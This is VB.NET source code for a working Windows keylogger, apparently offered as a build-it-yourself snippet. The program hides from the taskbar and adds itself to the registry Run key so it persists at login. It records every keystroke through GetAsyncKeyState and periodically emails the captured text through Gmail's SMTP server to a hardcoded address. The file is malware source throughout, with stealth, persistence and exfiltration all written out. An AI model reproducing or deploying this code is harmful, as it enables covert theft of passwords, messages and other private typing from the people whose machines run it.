''''''''''''''''''''''''''''''''''''''''''
'ADD:
'1 Windows Form (so u have form1.vb and form2.vb)
'1 Rich Text Box to form2.vb
'2 timers to form2.vb





'form1.vb

Imports System.Web

Imports System.IO

Imports System.Net.Mail
Imports Microsoft.Win32



Public Class Form1
    Private Sub setregistryvalue()
        'Add the executable's path against the application's name.        'Just change the key between (), and thats it.
        Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", _
        Application.ProductName, _
        Application.ExecutablePath)
    End Sub
    Dim result As Integer

    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer



    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        ShowInTaskbar = False

        Form2.Show()
    End Sub
'END
End Class









'form2.vb
Imports System.Net.Mail

Public Class Form2

    Dim result As Integer

    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Sub Form2_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
        Me.Hide()
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255

            result = 0

            result = GetAsyncKeyState(i)

            If result = -32767 Then

                RichTextBox1.Text = RichTextBox1.Text + Chr(i)

            End If

        Next i

    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Dim mail As New MailMessage()

        Dim SmtpServer As New SmtpClient

        SmtpServer.Credentials = New Net.NetworkCredential("lsonb1@gmail.com", "*****************") 'almost forgot to hide

        SmtpServer.Port = 587

        SmtpServer.Host = "smtp.gmail.com"

        SmtpServer.EnableSsl = True

        SmtpServer.EnableSsl = True

        mail.To.Add("lsonb1@gmail.com")

        mail.From = New MailAddress("n00bl3z@yahoo.com")

        mail.Subject = "Freezing Keylogger <3 INFO"

        mail.Body = RichTextBox1.Text 'rich text box because RTB can hold more different kinds of information.

        SmtpServer.Send(mail)
    End Sub
End Class